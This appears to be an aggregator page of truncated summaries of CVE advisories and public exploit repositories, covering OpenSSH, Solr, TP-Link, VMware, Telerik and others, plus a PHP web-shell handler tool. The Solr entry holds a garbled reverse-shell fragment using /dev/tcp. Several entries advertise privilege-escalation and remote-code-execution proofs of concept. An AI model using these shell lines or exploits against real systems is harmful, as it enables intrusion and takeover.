CVE-2022-0441

A vulnerability classified as critical was found in MasterStudy LMS Plugin up to 2.7.5 on WordPress WordPress Plugin. This vulnerability affects an unknown part of the component New Account Handler. The manipulation with an unknown input leads to a privileges management vulnerability. The CWE...

CVE-2014-0816

CVE-2014-0816 This is an exploit for CVE-2014-0816 JVNDB-2014-000026: Norman Security Suite vulnerable to privilege escalation. This exploit launches CMD.exe with SYSTEM privilege from Non-Administrator privilege by exploiting the vulnerability in an IOCTL handler of ngs.sys / ngs64.sys. Usage...

webhandler

WebHandler A handler for PHP system functions & also an alternative 'netcat' handler Info WebHandler tries to simulate a 'Linux bash prompt' to handle and process: - PHP program execution functions e.g. system, passthru, exec, etc - Bind shell connections - Reserve shell connections Another featu...

linux_mint_poc

Linux Mint 18.3-19.1 'yelp' command injection bug Root cause The URI handlers help://, ghelp://, and man:// are defined in the file /usr/share/applications/yelp.desktop which will execute /usr/local/bin/yelp via Exec=yelp %u whenever one of those URI handlers is invoked. The file...

CVE-2024-6387-POC

cve-2024-6387-poc a signal handler race condition in OpenSSH's server sshd...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a" url="https://stackoverflow.com/feeds/tag/solr"...

Microsoft-Word-CVE-2017-0199-

Microsoft-Word-CVE-2017-0199- Description: Microsoft Word CVE-2017-0199 is prone to a RCE trough a HTA Handler A remote code execution vulnerability exists in the way that Microsoft Office and WordPad parse specially crafted files. An attacker who successfully exploited this vulnerability could...

CVE-2025-47810

PunkBuster LPI CVE-2025-47810 Background PunkBuster installs itself as two services, and an optional? kernel driver. PnkBstrA: Service that runs constantly in the background, and in charge of managing PunkBuster as a whole PnkBstrB: Service that starts when a protected game starts. Comes with mor...

CVE-2019-5096-GoAhead-Web-Server-Dos-Exploit

CVE-2019-5096 Use After Free Dos Exploit python TriggerDOS.py ip Vulnerability Analysis https://github.com/embedthis/goahead.git GoAhead GitHub link git diff the patch Key Code Analysis In the code, locate upload.c:370. It can be seen that before wp-currentFile=0 the following is executed: typede...

CVE-2022-1077

CVE-2022-1077 Description A vulnerability was found in TEM FLEX-1080 and FLEX-1085 1.6.0. It has been declared as problematic. This vulnerability log.cgi of the component Log Handler. A direct request leads to information disclosure of hardware information. The attack can be initiated remotely an...

CVE-2019-12401

CVE-2019-12401: XML Bomb in Apache Solr Solr versions prior to 5.0.0 are vulnerable to an XML resource consumption attack a.k.a. Lol Bomb via its update handler. By leveraging XML DOCTYPE and ENTITY type elements, the attacker can create a pattern that will expand when the server parses the XML...

CVE-2024-6387

CVE-2024-6387 - PoC 📜 Description Note: This script is a quick prototype PoC, expect some errors and bugs may occur. Tested on: Kali Linux, ParrotSec, Ubuntu 22.04 Remote Unauthenticated Code Execution Vulnerability in OpenSSH server A signal handler race condition was found in OpenSSH's server...

EUVD-2026-92012

A vulnerability has been found in Linux Mint Xreader up to 4.6.9. Impacted is the function gfilegetchild of the file shell/ev-window.c of the component PDF Attachment Saving Handler. Such manipulation of the argument attachment leads to path traversal. The attack may be performed from remote. The...

CVE-2026-104983

A path traversal vulnerability exists in Linux Mint Xreader up to version 4.6.9 . The flaw resides in the PDF Attachment Saving Handler component, specifically within the g_file_get_child function of the shell/ev-window.c file. By manipulating the attachment argument, an attacker may perform a re...

CVE-2022-30075

CVE-2022-30075 Authenticated Remote Code Execution in Tp-Link Routers Affected Devices If your Tp-Link router has backup and restore functionality and firmware is older than june 2022, it is probably vulnerable Tested With Tp-Link Archer AX50, other tplink routers may use different format of...

UI_CVE-2017-9248

UICVE-2017-9248 Base64-based encryption oracle exploit for CVE-2017-9248 Telerik UI for ASP.NET AJAX dialog handler...

CVE-2026-104982

A path traversal vulnerability exists in Linux Mint Xreader up to version 4.6.5 . The flaw resides in the EPUB File Handler component, specifically affecting the setup_document_content_list/g_strdup_printf functions within the backend/epub/epub-document.c file. This vulnerability can be exploited...

EUVD-2026-91986

A flaw has been found in Linux Mint Xreader up to 4.6.5. This issue affects the function setupdocumentcontentlist/gstrdupprintf of the file backend/epub/epub-document.c of the component EPUB File Handler. This manipulation causes path traversal. The attack is possible to be carried out remotely...

CVE-2022-22954_VMware_PoC

CVE-2022-22954 PoC - VMware Workspace ONE Access Freemarker Server-Side Template Injection A vulnerability, which was classified as very critical, was found in Vmware Workspace ONE Access and Identity Manager. Affected component is Template Handler. Reference: https://vuldb.com/?id.196644 Usage:...

CVE-2016-2334

Exploiting CVE-2016-2334 7zip HFS+ vulnerability hfsGenerator.py Script used to generate HFS+ file heap.js WinDbg js script. After loading script, setup allocation hook in the following way: bp ntdll!RtlAllocateHeap "pt "dx Debugger.State.Scripts.heap.Contents.handleRtlHeapAlloc;g"" Next you can...